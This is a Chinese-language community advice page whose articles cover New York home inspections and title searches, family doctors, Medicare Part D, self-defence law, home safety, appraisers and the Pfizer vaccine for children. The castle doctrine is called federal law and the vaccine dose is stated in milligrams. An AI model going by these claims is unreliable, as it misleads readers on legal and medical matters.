郭凤丽律师是顶级的纽约房地产律师之一,纽约房屋买卖的法律专家。近二十年的职业经验,提供美国纽约房产买卖的专业服务,有数千成功过户案例。如果您正计划在纽约购买或出售房产,或者您有纽约买房贷款、纽约房屋产权调查、房屋保险、纽约房屋检验、纽约房屋过户、房屋买卖合同、文件谈判条款等纽约房屋买卖的任何问题,现在就请致电郭律师,以获取免费的、完全保密的法律咨询(718-888-8720)。

在纽约,大部分房屋的买家在给出房屋报价前都会要求先进行房屋检查。有许多人在收到检查报告后会要求对房屋的某些部分维修或者房价让利。有数据显示,在美国纽约房屋交易不成功的案例中,有15%是由于买家在得到房屋检验报告后退出导致的。

美国纽约房屋检验的内容:

根据美国房屋检查员协会 (ASHI) 的说法,以下是房屋检查员需要检验的项目:

  • 屋顶问题:屋顶的问题可能是小面积的漏水,也可能是较大的部分需要维修;
  • 房屋供暖系统和中央空调;
  • 白蚁和害虫:白蚁或其它害虫的存在,对买家来说可能是一个很大的危险信号。白蚁通常生存在潮湿的环境(在地下室较多见);
  • 电气问题:最常见的电气问题包括接线不符合规范、接线磨损或配电板接线不当;
  • 管道问题:管道漏水、热水器故障和下水道系统堵塞;
  • 石棉:如果石棉包覆在室内的管线上,就会对人体健康造成影响。如果是在房子的外墙,则影响不大;
  • 墙壁;
  • 天花板;
  • 窗户和门;
  • 含铅涂料:较旧的房屋常存在这个问题。铅多存在于油漆或水管中,对大人的影响不太大,但是4岁以下的婴幼儿,容易因为铅中毒造成神经性损伤。应特别小心;
  • 房屋地基;
  • 烟囱损坏:旧烟囱可能存在安全隐患,如果不能正常工作,通常需要将其拆除;
  • 还有地下室等。

纽约州规定:石棉、白蚁和铅是必须要重点检查的项目。

相关文章:【金牌推荐】2021最佳纽约房地产律师 | 美国纽约买房 

如果卖家不维修会怎样?

如果卖方不愿意对房屋出现的问题进行维修,买方可以要求房屋减价。在最坏的情况下,买方可以以此为由退出交易,买方取回定金。

纽约的房屋检查费用是多少,谁来买单?

房屋检查的费用各不相同,这与房产的价值相关。在纽约市地区,一般从200 美元到 500 美元不等,与全国平均水平相当。但是,检查费用超过 1,000 美元的也很常见。

通常情况下,由买家自己选择有执照的房屋检查验房师,即与买方或卖方的房地产经纪人都没有关系的人。一般是由买家支付检查的费用。但是,也有些人坚持要卖方付款,所以这是房屋买卖一个需要谈判的部分。

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纽约买房中的产权调查

产权调查是纽约房屋交易过程中非常重要、必不可少的一个环节,任何一个纽约地产律师都会严肃对待,以确保消除客户在房屋产权、房产抵押方面的潜在风险。

什么是纽约房屋产权调查报告?

房屋的产权调查报告是对不动产产权状况的书面分析,包括产权描述、产权持有人姓名和产权持有方式(共同租赁等)、产权负担(抵押、留置权、房产交易记录) ,以及到期的不动产税等。

纽约产权调查包含的项目:

在房屋买卖双方签订合同、买家预付定金以后,买方律师会以买家的名义聘请产权公司做产权调查,避免过户后出现产权、抵押权等问题。产权调查公司会从政府部门那里取得过去40年甚至更早的房屋产权历史文件,调查所有可能潜在的风险。然后做出调查报告交给买方律师。

如果一处房产有过多次的交易过户,那么它的产权调查报告(Title Report)就会越复杂越长。房屋的产权调查报告一般包含:

  • 房屋的历史交易情况
  • 房屋的产权保险情况
  • 房屋的交税情况
  • 房屋的贷款情况等

需要注意,房屋的贷款、抵押权归属于房屋本身,而不会随房主的变更而改变。如果有未偿还的房屋贷款没有被发现,那么前房主留下的剩余贷款将是新房主的责任,要由新房主去偿还。

本文的内容为公益性质的信息分享,仅供参考,并不构成对任何具体问题的法律专业意见。若需要法律意见或其他专业帮助,请咨询金牌资讯网经验丰富的纽约房地产律师


纽约房屋买卖法律专家–郭凤丽地产律师

电话:718-888-8720
地址:36-26 Main St.#2B, Flushing NY 11354

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2021-11-03 / by / in , , ,
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2021-11-03 / by / in
在美国纽约如何选择家庭医生 | 家庭医生专业分类 医生理念 华人医生

在美国,家庭医生可能是除了您自己之外,最了解您健康状况的人了。很多美国人多年固定一位家庭医生,或全家选一位家庭医生。生活在纽约的华人,免不了要面对选择家庭医生的问题,纽约华人如何选择一位在语言和文化理念方面,能够充分沟通的家庭医生呢?

美国的家庭医生,也称为初级保健医生PCP (Primary Care Physician),或者全科医生。家庭医生除了疾病治疗,同时也提供预防性的医疗服务,比如常规的年度健康检查等。选定了家庭医生后,一般看病就先找家庭医生,除非在特别情况下需要专科医生的治疗。

在美国看病一般先找家庭医生

家庭医生专业类别

其实家庭医生根据专业不同也有分类,比如:

  • 成人内科医生,主要对象为18岁以上者;
  • 儿科医生,主要为18岁以下者;
  • 家庭科医生,兼顾老少;
  • 老年科医生,主要为60岁以上者提供医疗服务;
  • 妇产科医生,主要提供女性健康和孕期健康服务。

大家可以根据自己的情况来选择医生。比如,家里有小孩的可以给孩子选择一名儿科医生作为孩子的家庭医生,也可以全家选择一名可以兼顾全家老小的家庭科医生。

那么选择家庭医生时,还需要考虑哪些因素呢?

首先,最重要的是想一想,如果有慢性疾病的,是否需要一名某一方面的专家医生;还是兼顾全家人包括小孩的家庭科医生。

全家人选择同一名家庭医生,可以让您与家庭医生的关系更加紧密,家庭医生对您全家的健康会有充分了解。但是如果家庭成员的理念不同,每个人可以有自己的家庭医生。比如先生偏向于找男医生,而太太觉得看女医生更加放松。

医生理念 护理哲学

接下来需要考虑的是医生的理念,或者说是护理的哲学。比方说,医生是否中西医结合,这些可能需要当面沟通后才能了解,所以第一次见面时可以问一些问题,了解医生的治疗理念是否与您符合。毕竟家庭医生与自己是一个长期相处的关系。与医生的理念相同,互相会有更好的沟通。

选择家庭医生,要了解医生的理念

医患之间的信任关系非常重要。你的家庭医生应该是除了您自己以外,最了解你健康状况以及病历的人。有一名固定的家庭医生,对您的健康维护应该说是非常重要。相处时间越长,医生对您的健康状况了解的越是充分。

当然,在特殊情况下,比如骨折了可以找骨科专科医生,或者其它情况下也可以找其它的专科医生。但是家庭医生是最了解您的整体健康状况和过往的病史,而不是一个片段。有很多人都是多年固定一名家庭医生。

诊所位置 出诊时间

医生诊所所在的位置也是需要考虑的一个重要因素,如果医生靠近自己住所或上班的地方,可以免去交通问题,省下很多时间。

关于医生的出诊时间,可以了解一下医生是否每天出诊,具体的出诊时间。一些上班族则会考虑选择能够出诊到晚一点的医生,比如晚上7点。

医生性别 语言文化

医生的性别也是一些人考虑的因素,比如有些女士更希望找一名女医生。

还需要考虑的就是语言和文化。虽然很多诊所可以提供翻译,但是找一名能够讲中文的华人医生是最好的,这样就不会有沟通的问题,您可以将自己的身体状况、担心的问题等,与医生充分沟通。讲同一种语言,可以让您比较放松和安心。

亲友推荐

选择家庭医生时,除了可以参考以上因素,您也可以询问身边的亲友,向您推荐口碑好的医生。有的医疗保险,会给您指定家庭医生。不过,如果您觉得不符合心意,可以要求换医生。您有特殊要求的可以告诉保险公司,比如希望找老年科或儿科医生。

纽约有很多优秀的华人医生,希望大家能够找到医德好、医术高的家庭医生。除了医生的治疗,健康的身体也需要自己去维护,比如均衡的饮食、宽容的心态、与人为善,都是抵抗疾病、维持身体健康的重要因素。

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2021-11-03 / by / in
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2021-11-02 / by / in
美国联邦医疗保险红蓝卡 D部分 处方药保险 | 药物类别 承保缺口 甜甜圈洞 年度自付额

美国联邦医疗保险红蓝卡的D部分,是处方药的保险,适用于已经注册了联邦医疗保险A部分或B部分的人。想要注册处方药保险D部分计划,有两种可选方案:第一,单一的红蓝卡D部分的处方药保险计划;第二,覆盖处方药福利的联邦医疗保险优势计划(Medicare Advantage)。

无论是注册单纯的红蓝卡D部分,还是参加红蓝卡优势计划,处方药保险的福利都差不多。自己要承担的费用部分,与所需的药物等级,以及所处的承保阶段相关。我们在下面会有详细介绍。

红蓝卡 D 部分药物等级分类

每一份红蓝卡处方药保险计划,都会有一个承保药物清单。药物清单里包括非品牌药物和品牌药物。所有药物都会有一个“级别”,分为等级1(Tier 1)到等级4 (Tier 4),4个等级。等级越低,自己支付的费用越低。1类药物自己支付费用最少,4类药物自己支付的费用会很高。

不同的保险公司承保的药物不同,对同一种药品规定的价格会有差异。因此,每年根据自己的药物清单,可以选择一份提供最佳药物承保的计划。

自己支付的药物费用,除了与药物等级有关,还和自己所处的医疗承保阶段有关系。

红蓝卡D部分医疗承保的4个阶段

红蓝卡D部分有4个不同的承保阶段,其中包括一个承保缺口,也称为“甜甜圈孔”。4个支付阶段分别是:

  • 第一阶段,自付额阶段deductible phase;
  • 第二阶段,初始承保阶段 initial level coverage phase;
  • 第三阶段,承保缺口,或甜甜圈孔阶段 coverage gap or donut hole;
  • 第四阶段,巨灾承保阶段 catastrophic coverage phase;
红蓝卡D部分

红蓝卡D部分的4个承保阶段

第一阶段 自付额阶段

这是保险公司开始报销药物费用之前,每年自己首先要承担的费用。这一阶段的药物费用需要自己全额支付。

2021年度,红蓝卡处方药保险标准的年度自付额为445美元。有些处方药计划的年度自付额会低一些,甚至年度自付额为0美元。但是,绝大部分为445美元。

对大家比较有利的是,有很多D部分保险计划,等级1和等级2的非专利药,自付费为0美元。所以如果您服用的药物属于等级1或等级2,相当于自己不需要支付费用。但如果您需要服用品牌药,又称为专利药,或者是等级3以上的药物,就需要全额支付药物的费用,直至达到自付额规定。

红蓝卡药物保险

红蓝卡D部分的承保阶段

接着,就进入下一个承保阶段,称为初级承保阶段。

第二阶段 初级承保阶段

在这个阶段,您只需要支付手续费copay或者共保额coinsurance部分。具体的支付比例则按照您的保险计划的规定。

当您的药物费用总额达到规定的临界点,接下来就进入到承保缺口,也称甜甜圈洞阶段。

2021年的标准,药费总额达到4,130美元,就进入承保缺口阶段。4,130美元的药物费用包括您自己支付的和保险公司支付的药费总额,但每个月的保险费不计入其中。

第三阶段 承保缺口阶段,甜甜圈洞

大部分的人都不会到达这个阶段,大概只有10%的红蓝卡持有人会到承保缺口这个阶段。在承保缺口阶段,自己要支付的药物的费用比例将提升到25%。所以在这个阶段,自己支付的费用会大幅提高。

什么时候可以走出承保缺口阶段呢?红蓝卡的规定是,年度中自己支付的药物费用达到6,550美元(2021年标准)时,就可以进入到巨灾承保阶段。这里要注意的是,6,550美元是一年中自己支付的费用总额,包括了一年当中的年度自付额deductible, 手续费copay和共保额coinsurance,所有这些费用的总数达到6,550美元后,就可以进入巨灾承保阶段。

第四阶段 巨灾承保阶段

到了这个阶段,自己承担的药物费用会大幅减少。如果是非品牌药物,自己支付的费用是 3.70美元或5%的药物费用,其中较大者;假如是品牌药,自己支付的费用是9.20美元或5%的药物费用,其中较大者。

这里想提醒大家的是,红蓝卡D部分保险计划是一个年度计划,所以每年从1月1日开始,承保阶段就会重设。就是从每年的第一天开始,承保阶段又要从第一阶段,自付额阶段开始。

红蓝卡处方药保险每年可以在开放注册期更改计划。红蓝卡的开放注册期,是10月15日到12月7日,大家可以在这个阶段根据自己的药物清单,选择一份最优惠的红蓝卡处方药保险计划。

方法也很简单,登录Medicare.gov, 点击“Find 2022 Health & Drug Plan”,就可以在线根据自己的药品清单,查找最优惠的保险计划。

登录medicare官网选择红蓝卡药物计划 图片:medicare.gov

注册红蓝卡,可以向社会保障署Social Security Administration申请,通过以下方法都可以办理:

  • SSA社会保障署在线申请:社会保障署SSA网站(https://www.ssa.gov/medicare/ );
  • 电话申请:1-800-772-1213 周一至周五,7:00a.m. – 7:00p.m.;
  • 到当地SSA办公室办理:需要打电话预约。

如果您有问题的话,可以联系联邦医疗照顾和医疗辅助中心。号码是:1-800-633-4227,电话服务中心提供24小时全天服务。

声明:本文非法律文件,仅作为一般性参考内容,勿以此为依据提出法律诉讼或任何证明,我们不负担任何形式的责任。您在有需要时请向专业的税务法律顾问咨询。

 

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2021-11-02 / by / in ,
一文看懂美国“不退让法”和“城堡法则”|美国纽约刑事辩护律师

美国因武汉肺炎病毒(新冠病毒、COVID-19)而病故的人数,目前已经突破74.5万人,超过了两次世界大战与越战中的死亡人数的总和。美国有些地方出现反亚裔的情绪,最近针对华人的攻击事件也屡屡发生。日前,纽约警方称,针对亚裔人士的仇恨犯罪有所增加。而在包括德州、新泽西、华盛顿州、明尼苏达与新墨西哥在内的13个州,警方都处理了上报的仇恨事件。在美国遭遇到恶性暴力事件时,应该勇敢的拿起武器保卫自己和家人。美国的不退让法则(No duty to retreat law) 和“城堡法则”(The Castle Doctrine),是合法行使防卫权利的一项重要的法律依据。

不退让法则(No duty to retreat law)

自卫防御是一项重要的防御措施,法律赋予个人保护自己和他人免受暴力(包括袭击和其他暴力犯罪)的权利。《纽约刑法》第35条定义了在什么情况下一个人可以使用武力甚至致命的武力来实施逮捕、制止犯罪和保护自己免受对他人或第三人使用武力的伤害。

也就是说纽约刑法第35条规定了,在有正当理由的情况下,一个人可以使用武力保护自己或他人, 以及房屋和私有财产。

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“不退让法”(No-duty-to-retreat law)也被称为坚守阵地法(Stand-your-ground law),此法规定,一个人在他可以合法停留的场所(但是各州对此类场所的定义可能不同),如果他有理由认为已经受到迫在眉睫的致伤或者致死的严重威胁,比如袭击、抢劫、绑架、纵火、入室盗窃、强奸、谋杀或任何其他RCW 9.94A.030 中定义的暴力犯罪,那么受害者不需要履行退让义务(Duty to retreat),可以使用任何可能的手段包括致命武力进行反击。

该法规定对使用致命武力反击的人将免除刑事指控。

有关自我防卫原则的法律在法律上被称为“正当理由”。

理解理由正当性的关键是认识到这完全是关于相称性和合理性的。您对攻击的反应必须与您防御的攻击成正比。

例如,如果一个人走到你面前并开始打你的脸,你有理由反击他以保护自己。但是,您没有理由拿出枪将攻击者射死。然而,如果你的攻击者掏出一把刀,你就有理由向他开枪。

这一切都取决于攻击或攻击威胁必须是迫在眉睫的。比如,如果当地黑帮让你每周交”保护费”,否则他威胁会打断您的腿,这种情况不能当做是行使“不退让法”的正当理由。

纽约州也受“撤退义务”(Duty to retreat)的约束。这个概念并不意味着投降;相反,在您采取自卫行动之前,您必须采取合理的行动来降低伤害风险,包括逃离和报警。

美国不退让法案例–佛州萨维德拉案

美国佛罗里达州科利尔县的14岁少年豪尔赫·萨维德拉 (Jorge Saavedra) ,就读于Palmetto Ridge高中,受到同学16 岁的迪伦·努诺( Dylan Nuno)的骚扰和欺凌一年多。

2011年1月24日,努诺在公共汽车上再次对萨维德拉挑衅,并尾随萨维德拉下车,在公交车站用拳头攻击他的头部,然后萨维德拉向努诺的胸腹部连捅12刀,将其刺死。在现场有多位证人。

美国不退让法案例–佛州萨维德拉案,佛州地方法院法官判定萨维德拉罪名不成立。

2012年1月,佛州地方法院法官以“不退让法”为依据,判定萨维德拉“未成年二级谋杀”罪名不成立。

科利尔县法官劳伦·布罗迪 (Lauren Brodie) 认为,14岁的豪尔赫·萨维德拉( Jorge Saavedra ) 在公交车站与16岁的迪伦·努诺( Dylan Nuno)打架后,是出于自卫行为。

“(他)有足够的理由相信他有死亡或严重身体伤害的危险,”她在判决书中写道。

据美国全国广播公司报道,14岁的萨维德拉受到佛罗里达州“坚守阵地”法的保护,该法规定,如果人们感到受到任何严重的威胁,可以自卫。

美国法律中的“城堡法则”(The Castle Doctrine)

在有些情况下,纽约州也受“撤退义务”的约束。但是在“城堡法”所涵盖的范畴内,公民在自己家里没有退缩的义务,可以为维护自己的生命、财产进行暴力抵抗。

“城堡法则”(The Castle Doctrine)是联邦法律,也被称为城堡法律或居住地的法律防线,是美国的法律原则。指在一个人的住所或任何合法占用的地方(例如,车辆或住所),允许在某些情况下使用武力(包括致命武力)来保护自己免受入侵者侵害的豁免权,而不会因使用武力的后果而受到法律起诉。

加州的刑事诉讼法甚至规定,当受害人感到自己或他人的生命安全受到了迫在眉睫的威胁时,即使本可以逃跑,但仍可以选择留在现场使用武力来进行还击,并可以在必要的时候追击罪犯直至危险解除,受害人无需退让。

美国“城堡法则”案例–俄克拉荷马州莎拉·麦金利案

2012年12月31日,莎拉·麦金利(Sarah McKinley )女士带着她3个月大的儿子在家,一名叫贾斯汀·马丁的男子和另外一个人持一把12英寸的猎刀闯了进来。

莎拉并没有慌乱,她先用沙发顶住门,然后一边拨911报警,一边拿起霰弹枪,她问911接线员,如果有人闯进屋里来,能不能开枪?接线员告诉她:怎么能保护你自己就怎么做。我不能告诉你可以(开枪),但是你要保护你的孩子,做你应该做的事。

美国“城堡法则”案例。地方检察官根据美国“城堡法则”,宣布莎拉是正当防卫,不予起诉。(视频截图)

在马丁破门而入时,莎拉开枪击毙了他。

警方公布了莎拉与911的通话录音,当地警员表示:“民众可用致命武器攻击任何未经同意闯入民宅的人。”莎拉说:“为保护小孩,我不得不做出选择,我不可能让歹徒伤害我的儿子。没什么比带着小孩的母亲更危险的了。”

地方检察官根据美国“城堡法则”,宣布莎拉是正当防卫,不予起诉。

观看视频请点这里

结语

在美国,携带枪支是一项伟大的权利,但是它也伴随着巨大的责任,必须谨慎对待。

根据联邦调查局(FBI)的数据分析,在遭遇到恶性暴力事件时,投降的死亡率反而比反抗要高。所以,在必要的时候拿起手中的武器,保卫自己和家人。

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2021-10-31 / by / in
美国居家安全指南:美国家中的九种常见安全隐患| 如何将家庭安全隐患最小化

文|雨荷

家应该是您和您的家人安全和受到保护的地方,但每年事故和应急部门都会处理在家中发生的严重伤害,有时甚至是致命事故。仅在美国,家庭事故每年就夺走 18,000 人的生命。它还占每年 2100 万次医疗就诊,每年花费惊人的 2200 亿美元。其中儿童和老人在家中受到化学品和窒息危险等物品的伤害比例占多数。其实许多事故是可以避免的,小编整理了居家安全指南,以提醒您注意家中的危险,以便您尽可能保证家人的安全。

家应该是您和您的家人安全和受到保护的地方 (示意图)

美国家中的九种常见安全隐患:

滑倒

中毒

窒息

溺水

火灾隐患

锋利的物体

炉灶

洗碗机

一氧化碳

家庭安全隐患一:滑倒

在家庭事故中,跌倒是导致死亡的主要原因。他们占所有死亡人数的三分之一。老年人受此类事故的影响最大。当老年人跌倒时,相关问题要严重得多。虽然年轻人也可能遭受骨折,但就康复而言,骨折对于老年人来说是一个严重得多的问题。

髋部骨折是一个严重的问题,特别是对于 75 岁及以上的人来说,并可能导致长期护理需求和严重的行动不便问题。遵循这些提示以保持安全。

家庭安全隐患最小化

  • 楼梯:在楼梯的底部和顶部安装安全门,以防止儿童从楼梯上跌落。确保照明良好,扶手和台阶坚固且维护良好,以确保每个人的安全。行动不便的长者应考虑安装楼梯升降机或考虑搬到没有楼梯的家中以避免跌倒。
  • 浴室:由于湿滑的表面,任何人都容易在浴室中跌倒。虽然不是浴室最卫生的地板类型,但那些有跌倒风险的人应该考虑将浴室地板铺满地毯。淋浴间应该有橡胶垫,以防止从潮湿的表面跌落。从浴缸或淋浴间出来时,将垫子或毛巾放在地板上。老年人应考虑购买升降机或座椅,使淋浴和沐浴更安全,以及防水的医疗警报装置。

家庭安全隐患一:滑倒 (示意图)

家庭安全隐患二.中毒

死亡的第二大原因是中毒,在美国每年导致 5,000 人死亡。这是一个特别令人心碎的统计数据,因为在大多数情况下,好奇的幼儿都会受到此类危害的影响。请遵循以下安全提示,防止您的孩子受到严重伤害并成为这些统计数据中的一员。

家庭安全隐患最小化

  • 如果存放在厨房中,任何清洁产品和有害物质都应存放在较高的橱柜中儿童接触不到的橱柜中。如果它们保存在较低的橱柜中,请确保为这些橱柜投资廉价的儿童安全锁。
  • 将油漆和杀虫剂存放在上锁的车库和棚屋中,并放在远离儿童的高架子上。
  • 监控厨房里的儿童,不要让他们无人看管。
  • 标记所有未标记的容器,不要将产品存放在食品容器中。
  • 准备好您所在地区的毒物控制中心号码的详细信息,并将其存储在您的手机上。如果发生中毒,您需要迅速采取行动。

家庭安全隐患二.中毒 (示意图)

家庭安全隐患三:窒息

蹒跚学步的儿童在您家中有窒息的危险。按照这些简单的步骤来避免事故和潜在的死亡事故。

家庭安全隐患最小化

  • 让垃圾袋远离儿童和其他有危险的袋子。
  • 将绳子、绳索和绳索放在儿童够不到的地方。尤其要注意带有绳索的窗帘,并确保婴儿床和床不会靠近这种窒息危险。

家庭安全隐患三:窒息 (示意图)

家庭安全隐患四:溺水

1 至 4 岁的儿童面临溺水的严重风险。事实上,它是这个年龄组死亡和受伤的主要原因。这个年龄的儿童可能会淹死在两英寸深的水中,仅在美国,每年就有 800 人死于这种悲惨的事故。请按照以下步骤保护您的孩子的安全。

家庭安全隐患最小化

  • 洗澡时始终看管婴儿和幼儿。如果电话在洗澡时响起,先不接电话。因为您孩子的安全很重要。洗澡时间结束后给他们回电话!
  • 保持马桶盖关闭。
  • 如果您有游泳池或池塘,那么它应该位于围栏区域。当水即将来临时,切勿让儿童处于无人看管的环境中,包括戏水池。
  • 不要在浴室里使用电器。

家庭安全隐患四:溺水 (示意图)

家庭安全隐患五:火灾隐患

是每年有超过 3,000 名美国人因火灾而丧生,就家庭事故而言,这是第三大杀手。请按照以下步骤操作,以避免造成亲人死亡和毁灭性烧伤,以及对您的房屋和财物造成损坏。

家庭安全隐患最小化

  • 在厨房、卧室和地下室安装烟雾探测器。
  • 考虑一个检测烟雾的家庭报警系统。这不仅会像通常的烟雾探测器一样发出警报,而且会联系当地消防部门,并会提供帮助。如果火灾使住户因吸入烟雾而无法做出反应,这将特别有用。
  • 烹饪时要小心,切勿在无人看管的情况下留下一锅油进行油炸。如果锅着火,请使用湿茶巾来处理火焰,切勿尝试用水灭火。
  • 让合格的电工定期测试您的电线。
  • 在圣诞节,一个主要的危险和毁灭性的悲剧是火灾,它可以从有缺陷的圣诞树灯开始。睡前关掉所有圣诞灯,确保您的庆祝活动不会被火灾毁掉。
  • 将火柴和打火机远离儿童。
  • 如果您吸烟,请小心小心地熄灭所有香烟。
  • 永远不要让蜡烛燃烧一夜。

家庭安全隐患五:火灾隐患 (示意图)

家庭安全隐患六:锋利的物体

我们家周围都有很多锋利的物品,这些物品是必需的,但在小孩的手中,它们可能是致命的。请按照以下步骤确保您的家人安全。

家庭安全隐患最小化

  • 将厨房刀具和刨丝器放在上锁的抽屉中,远离儿童。
  • 存放带护罩的锋利刀具以盖住刀片,清洗时要小心。
  • 将耙子、锯子和割草机等物品安全地锁在花园棚子里。使用园艺工具时,请遵循安全程序并小心谨慎。保持警惕,避免在园艺时发生意外,例如绊倒和绊倒以及触电危险。

家庭安全隐患六:锋利的物体 (示意图)

家庭安全隐患七:炉灶

出于各种原因,炉子存在重大危险。请遵循以下提示以确保安全:

家庭安全隐患最小化

  • 如果孩子们要让孩子们难以够到。
  • 锅柄应朝内,以免儿童抓握。
  • 正确安装对于确保炉子不会翻倒至关重要。

家庭安全隐患七:炉灶 (示意图)

家庭安全隐患八:洗碗机

洗碗机对于任何家庭来说都是一种节省时间的好方法,但它们确实会带来危险。请按照以下步骤避免事故发生:

家庭安全隐患最小化

  • 确保将刀叉放入洗碗机时,刀片和叉头朝下以避免割伤。
  • 使用后卸下洗碗机,以便将幼儿的手接触到尖锐物体或单独清洗的风险降至最低。
  • 切勿让洗碗机预装清洁剂。
  • 洗碗机的工作原理是在高温下洗碗。确保洗碗机已牢固锁定,以免在循环中途打开,否则可能会被蒸汽和热水烫伤。

家庭安全隐患八:洗碗机 (示意图)

家庭安全隐患九:一氧化碳

一氧化碳是无声杀手。与气体不同,它不能被气味检测到。您可以按照以下步骤保护家人的安全:

家庭安全隐患最小化

  • 确保您家中有一氧化碳探测器并定期对其进行测试。
  • 确保您的加热器每年检查一次,以防止一氧化碳中毒的危险。
  • 一些家庭安全系统具有一氧化碳检测功能,会提前提醒您家中的不安全水平。
2021-10-31 / by / in , , , ,
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2021-10-31 / by / in
了解估价师 对购房者很重要
买一套心仪的房子

家和万事兴是我们中华民族的传统理念

成家立业,家和万事兴是我们中华民族的传统理念。所以对我们华人来说,买房就成了我们人生中最为重要的一部分。大家都知道,在纽约虽然有待出售的房屋很多,但要买到自己称心如意的房子的确也不容易。因为除了要挑选自己心仪的房子之外,后面还会有太多太多繁琐复杂的事情在等着您。比如,了解买房的各项法律条款、各项制度,合同、定金、房贷等等等等,这些很有可能会把我们搞得焦头烂额。
可是当今的社会就是这样一个社会,我们处在这个社会也有很多的无奈啊!所以为了完成我们的心愿。在我们买房之前应尽量多了解一些买房的知识。这样在我们买房时就会减少很多的麻烦。
下面我就给大家谈一下房产评估师对我们买卖房子所起到的作用。
我们大家在买房时一般选择的都是申请房贷买房。在我们向银行申请房贷时,银行会严格审核我们的房贷条件,而在审核的最后还有一项叫房屋估价,也就是要评估房屋的总价值。这也是一个很重要的环节,因为房子估价的高低与我们的房贷有着直接关系。
下面就让我们来了解一下这个估价师。

了解估价师

了解估价师很重要

一, 估价师
在美国从90年代初开始倡导房地产估价人员持牌和许可制度,规定凡涉及25万美元以上的房地产评估,都要由持许可证的估价师来评估,与房地产抵押有关的估价一般也要有执照。所以房产估价师都是国家认可的,是一个正规的行业。
估价师涉及的业务范围也很广,什么某公司不动产的评估,合资不动产的评估,个人不动产的评估,对某个产品的估价,还有像一幅画,一块宝石等等的估价。而我们今天所要说的估价师,就是针对买卖双方所交易房屋总价值的估价。
1,了解估价师。估价师他有一个专门独立的评估机构,他不是银行的一个部门,也就不会是银行的职员了。但是很多估价师跟银行都有着业务上的合作与往来。所以当我们在某个银行申请房贷时,银行就会聘请一位估价师来对房子进行估价。
估价师一般是由银行聘请的,但估价师的费用却是由购房者买单。这里没有什么公平不公平、理解不理解的问题,因为这是规定。
2,差异。估价师所得的费用是有差异的,地区不同估价师的收费也不相同,同时对房屋的大小不同收费也会不同。比如,对一居室和三居室的房屋评估时,工作量是不同的,所以收费就会有差异。
而纽约估价师的费用比其它地区收费相对能高一些,一般都在500美元左右。
3,与买卖方的关系。这个估价师属于是第三方的独立机构,与买卖双方没有任何的关系,一般都不会有什么直接往来。这也许是为了防止向中国大陆那样,行贿呀、塞个红包什么的,使估价师在估价时不能够达到公正。
二, 估价师所起的作用
银行聘请估价师的目的是什么呢?主要是给放贷银行一个较为准确的估价数据,银行就可以依据这个数据来决定,给申请房贷者贷多少钱、利率为多少?那这对买家来说当然就是很重要了!
假如银行在审核买家房贷程序时,其它都已经合格。此时房屋的估价就更显得关键。如果估价师对房屋的估价比买卖双方交易价格要低,这对于买家房贷来说就会有麻烦了!
我们举例来说:比如房产交易价为100万,您的首付就是20万,而贷款80%就是80万。但银行聘请的估价师只估了95万,那您真正能贷到的金额就是95万的80%,也就是76万。
这里面还牵扯到买家交首付款的问题。如果您的首付款原来是20万,而现在就要交付24万。这无形中您就要多拿出4万的首付款,所以我们在买房时还是应该多准备一些钱,以防意外。
如果估价师估的过低,比如低于房屋售价7万或者更多,那么贷款人就会怀疑房子是否有什么严重问题,或者售价是否过高了等等。这样就会直接影响到买卖双方房屋成功交易的问题。
如果是估价师估的高了呢?这对于买卖双方会不会有什么影响呢?按照规定不管估价高于售价多少,都不存在 LTV 变化,自然对于利率,Credit 等也不会产生影响。
那么对于买家来说,自然是高兴了,最起码从心理上认为自己沾光了。
可是对于卖家心理上来说,自然会有一种吃亏的感觉,如果这个估价高的差距过大,卖家可能就不干了,这样也会影响到买卖双方的交易问题。

清洁卫生 有个好印象

清洁卫生 留下好印象

三, 印象很重要
我们上面谈到了,估价师对房屋的估价直接就牵扯到买家房贷的问题。对于买家来说当然不愿意让估价师把房价估的太低,因为这会给他的房贷造成损失。
为了能让评估师对房子有一个好的估价,首先要给估价师一个好的印象,所以对房子表面的处理就显得很重要。在此我们建议买卖双方都要特别注意以下几点:
1,首先在估价师来估价之前,我们要把房子的内外卫生打扫干净,这样可以给估价师留下一个好的印象。这就是人们所说的印象分。
2,如果我们的房屋存在违规情况,就要尽快的处理解决。要么拆除、要么去申请许可证。在估价师来估价前这些都必须办妥,否则一定会影响估价的。
3,如果我们的房子存在着明显破损,比如,墙上有洞、马桶或水龙头有问题,那就要尽快维修或更换。
4,我们房子的外部环境,也要做到整洁。比如花草树木、游泳池之类的也需要收拾一下,保持环境的美好。
以上这些都有可能影响到估价师的估价,所以希望买卖房屋的朋友能够引起重视,为我们买卖房子的成功铺平道路。

2021-10-30 / by / in ,
美国FDA授权批准辉瑞疫苗 5到11岁儿童11月可以接种

10月29日,美国食品药品管理局(FDA)宣布授权辉瑞(Pfizer)和BioNTech新冠疫苗,可以给5到11岁儿童接种。辉瑞是首款在美国被授权可以给年幼儿童接种的新冠疫苗。

接下来,美国疾病预防和控制中心CDC,会根据顾问小组于10月27日的讨论结果,给出年幼儿童的疫苗接种计划和建议。CDC计划在下周召开咨询委员会会议,审查辉瑞新冠疫苗的儿科剂量。预计会议结束后,很快会获得批准使用。

综合媒体报道,在获得FDA授权批准后,美国将有2,800万5到11岁儿童可以接种辉瑞疫苗。不过目前全世界除了中国、古巴和阿联酋,还很少有国家给12岁以下儿童接种新冠疫苗。

根据FDA的批准,5到11岁年龄段儿童接种的辉瑞疫苗剂量为10毫克;而给12岁以上儿童接种的第一剂辉瑞疫苗的剂量为30毫克。

FDA的顾问小组表示,他们在密切关注与辉瑞和莫德纳 Moderna疫苗有关的心包炎或心肌炎的发生率后,发现低剂量的疫苗可能有助于减轻这些罕见的副作用。监管机构表示,辉瑞疫苗对 5 至 11 岁儿童的已知和潜在益处大于疫苗副作用的风险。

目前美国58%人群已经完全接种疫苗,远低于英国和法国。很多成年人在是否接种疫苗的问题上犹豫不决,接下来在面对是否要给孩子接种疫苗时,更是会谨慎对待。

vaccine rate

美国目前约有58%人群已完全接种 (图片:mayoclinic.org)

美国食品药品管理局代理局长珍妮特·伍德考克博士(Dr. Janet Woodcock)在声明中表示:“我们希望,当人们看到孩子接种疫苗后,能够无忧无虑地参与活动时,会有更多的人给孩子接种疫苗。”

辉瑞和BioNTech表示,试验阶段的数据显示,疫苗对5至11岁儿童对抗新冠病毒的有效率达到90.7%。儿疫苗的副作用,与一项针对16岁到25岁年龄组的研究结果相似。

